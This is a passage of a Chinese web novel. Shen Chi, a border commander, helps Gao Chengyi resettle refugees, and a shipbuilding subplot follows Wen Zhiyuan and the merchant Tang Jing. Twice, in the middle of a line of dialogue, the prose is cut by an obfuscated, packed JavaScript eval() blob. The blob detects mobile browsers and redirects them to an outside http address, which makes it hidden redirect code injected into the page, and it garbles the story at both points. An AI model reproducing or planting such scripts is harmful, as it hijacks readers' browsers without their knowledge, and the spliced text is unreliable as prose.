高琰在两江抗击水寇十几载,兵力最多时,也不过三万人。 高濯衡此前听得,什么边塞重地,西北门户,却也没想到,一个隆州,居然能有二十多万的兵。 高承翊跟弟弟解释道:“西北边塞一线抗击的是漠北的鞑掳,草原人在马背上长大,骁勇善战。开阔地的马战,火器作用又有限,必须用人和马对抗才行。这二十万人并非囤积一处,而是沿线驻扎,应该还分了多线设防,隆州地方很大的,再西边还有北茂和巨堯,都是戍边卫要驻防的地方。” 以如今的火炮速度,是比不过马的。 你的炮打过去,马早就跑了。待你的炮炸完,骑兵再冲锋。他们边冲锋,还边射箭,虽马背颠簸,但精锐骑兵射出的箭都十分准。 且火炮太重,面对灵活的骑兵,就更显沉重。 但也不是完全没用,用来守营地,或是找到对方营地的具体位置后,炸毁对方营地时,是很好用的。 高濯衡指着沈驰的背影:“那咱们以后都归他管吗?” 宋遥眨眨眼睛:“你不是小王爷嘛,他管着我们,你管着他。” 孩子被他逗乐了。 他没有封号,旁人又不能直呼皇孙名讳,故而在外多是以小王爷相称。 但现在孩子小,宋遥他们都随着高承翊叫他衡儿,就连孟光也这样叫他。 高濯衡挺了挺胸膛,摆出王爷架子:“那他叫个什么名字啊?” 高承翊道:“沈驰。” 孩子转头和他对视,娘亲两字都要说出口了,见哥哥微微点头,眨眼示意他别说,硬生生咽了回去。 沈驰带他们去的地方不远,是一处专给戍边卫的歇脚驿站。 进屋后,他摘了帽子和领巾,露出了一张略带胡渣,俊朗年轻的脸。 鼻梁和右侧脸颊上,有两道细小的伤疤,眼睛很亮,可鬓角却能看到不少白发。 他的头发很黑,于是那些白发就尤为明显。因戴着帽子又摘了的缘故,发髻有些松散,额前落了几簇杂乱的碎发,显得他有些落拓不羁。 高承翊不由自主的去注意他的长相,在心中和父亲做着比较。 又在反应过来之后,告诉自己不能这样。 沈驰的目光也落在了兄弟二人身上。 他是知道高濯衡身世的,如今看着这孩子,不免有些惊叹,长得漂亮又透着贵气,根本不像是灾民农户之子。 再看高承翊,乍一眼看过去,就是高琰的翻版,可五官却要秀气很多,下巴和眼睛都像赵蓉。 沈驰开口,说的都是土地和安置灾民的事。 十分中肯,听的人都能感觉到他是真心实意考虑过,愿意接纳抚州灾民的。 可说话时,沈驰却几乎不看高承翊,只垂着眸说,声音也不够稳,根本不像是个能带兵打仗的人。 听完他的话,高承翊却道:“多谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337035|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你愿意将那片地让出,给了抚州乡亲一线生机。我们不会平白要你的东西,让你吃亏,田亩我会带着人去开垦,等丰收后,再折地租给你。” “我从未想过要收你们的地租。”沈驰道,“那片地我们种不过来。” 高承翊坚持:“要给的。” 沈驰看出了孩子心气儿高,也不再与他争执了。到时候他真的拿来,自己不收便是了。 “先这样吧,你将人安顿好。”沈驰道,“若有什么难处,再来找我。玉岱山这一带,要到三月才彻底化冻,我给你们送些碳去。” 高承翊道:“我折银子给你。” 沈驰抬眼看他:“我不是卖碳的。” “我没说你是卖碳的。”高承翊道。 宋遥心里有些急了,他心道:这家伙平时挺聪明的啊,一向是有便宜占得又快又好,又争又抢的。怎么今天,这也要付钱,那也不白要的? 说话还这么不客气,得罪了都指挥使,往后日子还过不过了? 你一个游击将军,还真把自己当将军了? 可高承翊至少还是个杂牌将军,宋遥明白自己在这儿说不上话,只能闭着嘴,在边上看。 沈驰是有些不敢看高承翊的,高承翊当然也不太敢看他。 两个都不太敢看对方的人,这样一对视,都把对方看的心里毛毛的。 那毛毛的感觉散去之后,越看孩子的眼睛,越是像赵蓉,沈驰的心一下子就软了下去。 这孩子是赵蓉的骨肉,流着赵蓉的血。 高承翊就这样眼睁睁的看着沈驰红了眼眶,深邃的眼眸里涌出了眼泪。 他抽泣了一下,然后捂住眼睛,开始哭。 没出声,就是掉眼泪。 宋遥、张廷皓和高濯衡三个不知内情的,都看呆了。 当然,高承翊也很无措。 怎么了?怎么就哭了? 还是沈驰自己的副将来给他用帕子抹眼泪。 那汉子魁梧高大,一脸的络腮胡,从腰里扯出一条深色的帕子,把帕子摊在手掌上,一手按着沈驰的后脑勺,一手盖他脸上,就开抹:“将军你可别再哭了,让孩子看咱笑话。” “就是就是,不是说好了,能忍住不哭的吗?”另一个将士搭腔。 旁边又开一个陪笑的:“哎呀,这整的哪一出呢,不好意思哈,他就这样,一会儿自己缓过来就好了。” 高承翊往后退了两步,他真不知该怎么处理,他心想,就算这沈驰看着年轻,可怎么算,也有近三十的年岁了,居然当着下属的面,如此痛哭。这样的人,如何能领兵? 他拉着弟弟,就要往外走。 沈驰腾的一下站起来阻拦:“去哪儿啊?” 高承翊道:“北迁事务繁多,下官不便打扰。” 沈驰跟着他追出去:“你…你等等,我…我问你,姐姐…你母亲…她,她真的…” “嗯。”高承翊道,“葬在抚州城外的一处无名山上,我亲手埋的。” 高承翊不敢回头看他,这个男人的眼泪,会让他想起母亲和舅舅。 舅舅那天哭得很大声,他能陪着舅舅一起伤心难过哭泣,但不能和母亲的情人一起哭母亲。 高承翊终是带着人跑了,抱着弟弟骑上马,逃了回去。 此后,沈驰常给他们送些东西来,都是他们急需的柴米油盐,棉花,新衣,还有种子,甚至还派了种田的军户教他们隆州的地,适合何种作物,几月种几月收。 殷勤到孟光都觉得不可思议。 原来沈驰是这么好相处,这么仁德之人? 宋遥用沈驰送来的炭盆,烤着沈驰送来的白薯,问高承翊:“他叫你母亲姐姐,他是你母亲的表弟?” 高承翊道:“不是。” “义弟?” 高承翊:“别问了。” “我看他,哭的可伤心了。”宋遥道,“你怎么不趁机跟他套套近乎,他能帮上大忙呢。” 高承翊正算他欠沈驰多少钱呢。 宋遥给高濯衡使了眼色,孩子上去拨乱了哥哥的算盘:“他说不用给钱了。” “要给的。”高承翊道,“别胡闹了。” 高濯衡朝宋遥摊了摊手,表示无可奈何。 安顿下来后,孟光终于有了空余的时间催高濯衡读书,他问高承翊:“你有没有发现,衡儿不爱读书?” 高承翊真一点不在意:“孩子还小。” “十岁了还小?”孟光大惊,“北迁途中暂且不提,如今住下也已有一个多月了,他能算能言,脑子也灵活,可再不读书,也会荒废了啊。” “这里也找不着好的先生啊。”高承翊道,“那这样吧,我盯着他读书。” 孟光见他答应的快,便心道他是盼着弟弟成才的。 可谁知,看了几天,发现他是盼着弟弟好,可也经不住弟弟撒娇粘着。 孩子还没坐上半天,他下午就给带出去骑马看地了。 孟光不明白,就那几块一模一样的地,有什么好看的。他去问宋遥他们,还是孔详告诉他:“一直这样,我倒觉得不是孩子想跟着他去,就是他想让孩子陪着他,咱北迁路上,他不就一有机会,就让孩子骑马上带着嘛。” 孟光一回想,也恍然了,立马接过了孩子的教育大任。 原以为温寻墨已经很严格了,没想到还有更严格,顽固到不近人情的孟光。 兄弟俩都有了正事,几乎只有夜里才能见上面,北方夜里寒冷,有钱人家和皇宫里是有暖阁的,他们刚刚落户隆州,这些现成的房子还是多亏了沈驰,没那么好的条件,睡的火炕。 宋遥他们都只能睡通铺,七八个人睡前一张大炕,高承翊有个单独的房间,晚上带着弟弟一起睡。 这样的日子也算平静,眼看到了夏天,再不去北巡,到年底可回不了京。 高濯衡巴不得不回去,可太监余福,官员许崇还想回去呢。尤其是许崇,他家在京城,余福在宫里过惯了舒服日子,也不习惯边塞的苦寒。 每日都催高濯衡动身,可孩子心态特别稳,置若罔闻。 孟光对他说:“算算日子,你确实是该去了。” 高濯衡一直想逃避。 孟光告诉他:“应下的事,就必须要去做。” 他当时也是这么想的,可只要见到哥哥,他就一点儿都不想离开了。 五月底,高承翊等来了那个他写信请来的人。 他们远在冀州,早已告老还乡的曾外祖,年近七十的赵阁老——赵龚如。 60.温知远X唐竟 高承翊写信给曾外祖的初衷,是问他光盛帝让高濯衡一人南巡的用意。 却没想到曾外祖居然亲自来了。 赵阁老决定的事,家里人都拦不住,好在老爷子虽已逾古稀,身体还十分健朗。白须白眉,偏瘦,腰背有些微驼。 太夫人也跟着来了,他们二人是少年夫妻,相守了五十余年,不想年老了还分开两地。 二人这回是举家搬迁,做好了今后陪着曾外孙的打算了。 高琰的父母在兄弟二人出生前就相继去世了,曾外祖如此帮扶,高承翊带着弟弟去接老人家时,让弟弟与他同时改口,以曾祖相称。 赵龚如受了高承翊的礼,却不让高濯衡也这样叫他。 他说小王爷的父亲是燕王,祖父是皇上,他无福受小王爷所称的曾祖。 孩子头脑灵光,磕了头叫了声:“太公。” 抚州管曾祖就叫太公,但北方不这么叫。德高望重的老者也会被称为太公。 赵龚如捋了把胡须,满意的点了头。 他并不知道高濯衡的身世,虽对皇上收义孙的事颇有不解,但并不认为高濯衡真的是皇室。 赵龚如变卖了他在冀州的部分屋产,只留了田地,故而带来了不少银钱。 并将钱粮全数给了高承翊,高承翊当然不敢立即收下,他便告诉高承翊,这些银子,大部分都是高琰的。 高琰的父母去得早,族中无可信之人,他在冀州的祖产和多年置办的田地,全都交给了赵龚如。 如今北迁初定,百废待兴,正是要用钱的时候,他让高承翊拿着,一定要将这些百姓安置妥帖。 而他自己,则不顾年迈,与高濯衡一同踏上了北巡之途,并告知高承翊,让他陪着小王爷北巡,就是光盛帝的用意。 孩子不可能单独完成这样一件事,光盛帝知道他不会袖手旁观。 皇帝对他当年告老还乡之事一直心存不满,觉得他是看朝廷风向不对,提早撂挑子回家。 这回特地诓他出来,不但能让赵龚如继续为他做事,还不用付俸禄。 高承翊点了一百骑兵,让孔详领着,护送这一老一少。 这些骑兵还是最初皇帝给他的那三百个,他们是被高承翊骗来隆州的。起初告诉他们是南下,后来说北上路过京城就放他们回去。 到了京城,又说懿旨是让走完全程,要北迁结束,百姓们去到隆州才算差事结束,到时便可放他们回京。 直到北迁的最后一人踏进隆州地界,高承翊又说是皇帝让他们陪小王爷北巡。 光盛帝是个好面子的皇帝,他委婉的讨了一回人,高承翊又是连续三道哭穷,哭无人可用的折子递上去。 当初只给三百,就是为了防他这一手。 皇孙还在那边,真把他逼得太穷了,高濯衡也得跟着吃苦,内外之别,自家的孩子娇贵些,光盛帝还是分得清的。 便也没再提让他还兵马的事了。 这些骑兵,当然是想回家的,但他们没有调令,有些不死心的写信去京中卫所询问,回信让他们好好待着。 于是无法,只能继续待着,好在高承翊是个既能打,又能服众的。 一路跟他剿匪过来,都见识了他的厉害。 爷们儿都服他这样的将领,逐渐也就没人再说什么了。 高承翊并没打算一直拘着他们,待这边近况好一些,他能养些自己的骑兵后,这些人想回京中的,他是愿意放行的,但绝不是现在。 当然,到时候有想留下的,那就更好,若要将家眷一起接来,那便是再好不过了。 有人,才能垦出更多的田亩,建村镇、集市,甚至是城池。 挑出的一百人跟着高濯衡北巡,正好年底能随着高濯衡一起回京,大家都乐呵着愿意去,护驾的精神头很足。 高承翊还把孔祥给了高濯衡,自抚州沦陷开始,他遇到的所有人中,孔详是最让他放心的那一个。 弟弟有他照应,高承翊在隆州才能安稳。 高濯衡去北巡,离开了严厉的老师孟光后,迎来了更加严厉的太公赵龚如,彻底告别了他读书偷懒的时光。 高承翊这边,除了安置和垦田,还有一项最重要的事,修河道,建水库,以应对每年开春后,必定会到来的将军河凌汛。 他要在上流建水库,就必须和涸东打交道。 他没建过水库,也从未去过涸东,最重要的是,他还财力不足。 于是和孟光商议后,得出了修河堤以及拓宽下流河道的解决方法。 让将军河的水乖乖听话,别再蔓延至平原上,大片的平原才可开垦并规划城池。 高承翊是次年夏天才知道,高濯衡和夏辛之间,是有通信的。 夏辛当时没有去冀州,而是选择跟着唐若,去了斛州。 此后一直跟着唐若跑船。 温寻墨兑现了他的承诺,越州山庄中,所有留下的抚州灾民,都拿到了越州的良民户籍,当然,包括他带去的工匠和温知远。 造一艘大船,并非一朝一夕就可完工,温知远带着工匠们在斛州唐家住了下来。 他要从冶铁炼钢,搭设龙骨开始。 唐家是有船厂的,基本的设备都齐全,可唐竟对温知远并不信任,谁让他是个小孩子呢。 温知远看着这个坐在四轮车上的男人,心里多少有些不服气。 他年纪小,不喜表里不一拐弯抹角,又恰好是唐家有求于他,便总是摆出「老师傅」的架子,与唐竟说话,直呼其名,一点面子都不给。 唐竟那时二十有八,大了这小子十六岁,从一个外室子,到坐上当家人的位置,他经历了太多争斗与不公,受过冷眼,甚至还被人害得双腿半残,难以长时间站立行走。 但他熬过来了,还赢了下来。 他讨厌带孩子,更不屑温知远的幼稚,可温知远带着温家的工匠们,在造船的技艺上,精湛且先进。 他起初是改了唐家原本的一艘大船,船身更加灵活,速度也快了不少,改了不少原本繁复的操作,减少了所需船工,还能运更多的货物。 唐竟看到温知远,就想到他自己十二岁的时候,已经上码头跟船,甚至做了他人生中的第一笔生意。 每日在船舱里用油灯读书到深夜,一心想着出人头地。 如今回首,不禁唏嘘。 见温知远挺有用处,唐竟对他的容忍程度更高了不少。 商人是最市侩,最会与人打交道的,唐竟觉得以他的脑子哄个孩子还不是随随便便。 今日夸几句,给点好处。明日犯错,再来些敲打,一个巴掌三个枣,不得治的服服帖帖。 可意外的,温知远不吃他那一套。 在唐竟面前,他简直就像块茅坑里的石头,臭脸嘴硬的。可他对其他人却都能十分友善,唐竟打听过,孩子说,他最讨厌道貌岸然,表里不一的人,他觉得唐竟太装了。 不过日子长了,唐竟也习惯了温知远对他的态度。逐渐不再理会,能不和他交谈,就不去搭理。必须要说话时,也只说正事。 如是,温知远在斛州待了三年。 他亲手绘制图纸,把关建造的大船完工。唐竟十分高兴,还为这艘船想了许久的名字。 因给船取名字的事,他特地找到温知远商议。 温知远对这方面挺木讷的,船就叫船呗。 可唐竟说,这是他第一次造的船,是他三年的心血,也是将来人生的基石。 唐竟称那船为:漂亮又伟大的巨轮。 说一定要想一个特别好听的名字。 温知远其实心里挺高兴的,少见的没有甩脸色,看似不在意,却又带着根本藏不住的羞涩和紧张,垂着眼睛不敢看唐竟,别扭的说:“你爱叫什么叫什么,我才不管,反正是给你家造的船。” 唐竟敲着四轮车的扶手,他带着半片的西洋镜,那单眼镜片坠着金链,镶嵌着细小却闪亮的红宝石,他微微的歪头,那金链和宝石就闪出细碎又华丽的光泽,印着他的脸好似都在发光。 眼尾的两簇睫毛格外的长,这样看,就连下睫都长得好像能戳着人。像一根根刺一样,扎进温知远心里,怎么都拔不完。 这个人果然讨厌,连睫毛这么小的东西,都生的那么令他厌烦。 镜片后唐竟眼角含笑,明亮的眸子闪动了一下,他说:“那就叫「神初」吧,神乎其技,初平海波。” 这都是在夸他,温知远已经十五了,听得出来。 那夜温知远梦到了唐竟,他散着头发,含笑看着他说:“这艘船是你人生的开始,你做的非常好。” 这话确实是白天时唐竟说过的,可他散发,着白色单衣薄衫,一派轻松怡然,靠坐着的样子温知远从没见过。 晨起后,温知远想再看看他那样,也好奇,他这样把自己包裹的完美无缺的人,真的会有那样松弛,懒散的模样吗? 他梦里,唐竟的头发好软好软,像水一样倾泻而下,那缎光比丝绸还亮。 唐竟为「神初号」办了一个浩大的宴席,几乎把整个大渊在航运这块说得上话的人,全叫了过来。 就在船上,请他们吃饭。 温知远姓温,又不愿意顶假名,还说最讨厌出风头,让唐竟不许在宴席上提他,别告诉那些个狗屁官人、掌柜这是他造的船。 唐竟便对外说,这是他唐家的工匠,打造的巨舰。 唐竟在席间更是发挥了他长袖善舞,两面三刀,见人说人话见鬼说鬼话的特点,在一群人里满面春风的敬酒,商谈。平时只坐四轮车,不下地的脚,那日也下了地。 起初是自己拄拐,宴席过半后,估计不太撑得住,何漾和唐若都在旁搀扶着他。 温知远混在工匠里头吃席,能听到他与人推杯换盏时发出的笑声。 声音是好听的,可温知远就是听着烦。 唐竟喝了酒,脸上浮着薄红,唇角的笑意一夜不散。温知远看见唐竟那张对谁都笑的脸就觉得很恶心。 他总是穿着浅色的宽袍,是商贾,可举手投足间带着很浓的书卷气。手指修长,端起茶水时,会露出一段光洁,雪白的手腕。 半透明的琉璃盏贴在他薄厚均匀的粉色唇瓣上,好看的让唐竟挪不开眼睛。可说出来的话,却全掺着铜臭味的算计。 每一句都是见风使舵的试探,还总爱在他面前摆架子。 大约是因为太讨厌这个人了,温知远会尤其特别的去关注唐竟。 哪天去哪查了什么账,说了什么话,和哪个掌柜签了多少货单,经他手派了几艘船出去,还有夜里应酬,去了哪家勾栏瓦舍,喝酒了没,看女人了没,是否有留宿。他都刻意的留意打听着。 然后在夏辛面前细数唐竟装腔作势了几次,一单生意出了多少纰漏,少赚了多少钱,根本当不来家,假模假样的老男人,还老爱在他面前假正经,好为人师妄图说教。殊不知他唐竟自己才是蠢透了顶。 温知远与夏辛年岁相当,都是外来者,还都在越州的庄子里住过些时日,虽错开了时日,但宋遥、孔详那些人,他们都熟识。 故而刚开始两人就能说上话,一来二去更是熟稔。 夏辛跟着唐若跑商单,那正是温知远想学的,造船就是为了运货赚钱。而夏辛也想知道船厂里的奥妙,船运时出的些小问题,他们跟船管事的,都需知道一些。 于是两人关系越处越好。 大多数的工匠性子都比较死板,专注于手头的活计,温知远其实也这样,有时候十分精明,有时又有他独一无二的呆蠢气。 夏辛听他絮叨了半天,才说:“还行吧,生意的事不能只看单趟和表面,里头的门道多着呢。还有,你既然那么不喜欢他,为什么总盯着他看?还总与我说他?” “还行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352125|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个屁啊。”温知远躺在船头的甲板上看着天上的星星,“是他太讨厌,还总在我面前晃,我跟你说,你别告诉别人。” 夏辛坐他旁边,听好像有秘密,也好奇的躺了下来:“什么啊?” “你先保证不说出去。”温知远道,“跟你那个什么小二爷写信也不能写这个。” 夏辛乐了:“我跟他说那个干嘛,他都不认识唐竟。” 温知远小声道:“这个唐竟,都快三十了,还没娶妻生子。” “这我知道啊。”夏辛道,“他身体不好。” “越是身体不好,不该越要早些娶妻,趁能生赶快生个儿子,继承家业吗?”这是当世人普遍有的想法。 夏辛道:“没准生不了。” 唐竟的身体很差,冷一点热一点,他都会生病,平日里也总在吃药。 唐若原本是想让夏辛去读书的,可夏辛却坚持要跑船做生意,说自己和高濯衡一起读过几年书,常用的字他都认识,不需要读那么多,他不考功名,他要跑船,挣钱,长见识。 唐竟听唐若说起后,便笑说自己那时候也是这样的,有野心的孩子无需拘泥于学堂。 唐若见夏辛平日跑船闲暇,就自学读书,便也放下心,让他学做生意。 唐若发现孩子虽小,但十分早熟,聪慧。夏辛能独当一面后,唐若便有更多的时间,留在身边照顾时常生病的唐竟。 唐竟身边还有个心腹,名叫何漾。本家是在唐家的船厂中做冶金的工匠,他本人精通术数,造船需要精准的计算,尤其是大船,必须十分精准。 唐竟让何漾带人来帮过温知远,何漾算得又快又准,为人和善,爱笑,长得白净,脸有些脸圆,说话不大声。 是个热心肠,那时温知远才来斛州,他和温家的工匠,在这儿人生地不熟。何漾留意照应着他们,帮他们置办生活用品。 何漾的厨艺还特别好,平时总做些吃的,拿来船厂给大家分。 温知远不爱交朋友,若说能看得上的朋友,夏辛是一个,何漾是一个。 何漾又与他志趣相投,对制造和各种新的材料,都特别感兴趣。 他想拥有自己的冶金厂,除了造船,还想造其他的东西。 温知远给他看了温氏工匠的「汽轮机图纸」,他听温寻墨说,当年差一点就要成功了。 现在的船,顺风靠帆,逆流则需要人力划动。但将「汽轮机」装在船上,就能提供源源不绝的动力,人力只需当成替补,且速度还更快。 何漾对「汽轮机」赞不绝口,且真的付出行动,带着工匠们尝试着制作。 他的雷厉风行也带动了温知远,两人这些年来在汽轮机上的尝试,总是失败,却都没有放弃。 何漾说自己想去西北看看,去学那边冶金,炼钢的技艺,去看看矿山,没准就能知道汽轮机该怎么改了。 可唐竟却一直将他禁锢在身边,让何漾给他当仆人小厮。 何漾喜欢的术数,也只能为唐竟的船厂去计算图纸。 在外头,千人千面,面若桃李的唐八爷,回到院子里,对何漾颐指气使,发泄着他的不满。 温知远有次还看到,唐竟打何漾耳光。 温知远将这些告诉夏辛:“我有次夜里偷偷溜过去听墙角…” 夏辛瞪大了眼睛:“你!怎么这样啊?” 他太想知道这两人的事了:“我这是声张正义,就是漾哥被他打的那天,我担心他夜里又打人,我…我得去拦着啊。” 这借口找的太假,也没见你真冲进去拦着啊。 “然后我看见…”那已经是半年多前的事了,就是因为这件事,温知远更是恨死了唐竟,“我看见,唐竟装作站不起来,让漾哥抱他,漾哥才将他扶起来,他居然用力…把漾哥按在檐下的美人靠上…亲他…” 温知远说的十分愤恨:“漾哥个子比他矮一些,都推不动他,打了他一耳光,他才撒的嘴!你说他恶不恶心!好好一个大男人,不找媳妇儿成亲,居然…居然喜欢男人!依我看,没准这病都是装的,我看他力气真不小。” 夏辛起了一层鸡皮疙瘩:“喜欢男人?” 温知远点头:“其实…要真喜欢,也不说什么,但人家不愿意,他还强迫,还绑着别人不让人走,简直可恶至极!” 那时唐竟是真心喜欢着何漾,他最难的时候,是何漾陪他度过的,他双腿残疾,也是温柔的何漾一直在照顾他。 在他心里,何漾不同于其他人的。他想跟何漾更亲近一些,想让何漾只看着他。可何漾就是那么温柔的人,他似乎对谁都很好。 唐竟想:他照顾我,只是因为觉得我可怜吧。 逐渐的,何漾对别人的善意,会让他发怒。何漾有所察觉后,开始疏远他,刻意的保持距离,他便更加难受,他对何漾发脾气,只是想让何漾更在乎他一点,却将何漾推得更远。 温知远看见的那次,是他第一次,也是唯一的一次,鼓起勇气,放纵自己的冲动。 可他却连唇都不敢去碰,他怕何漾厌恶他,他怕何漾再也不理他。 他抱着何漾,吻住他的脸,得到的是何漾屈辱愤怒的表情,和脸上的一巴掌。 夏辛没接温知远的话,温知远就问起了他这次跑船的事,去西北运什么了。 “你是不是特地往西北绕一圈,去见你那个小二爷呢?” 夏辛笑道:“不是特地去见他,不过确实也见着了。” 这几年,也就见了四次。 “运的都是些常见的东西。”夏辛道,“卖不上好价钱,也只有我愿意去。他们那边日子艰难,大伙都在想办法,今年还算是好些,去年河堤修好了,垦出多了一倍的地,今年能丰收,便能将原先欠的还完,还存上一年的粮食。” 温知远的船造完了,他现在有大把的闲暇时间,足够他折腾:“你下次去什么时候,也带上我呗。”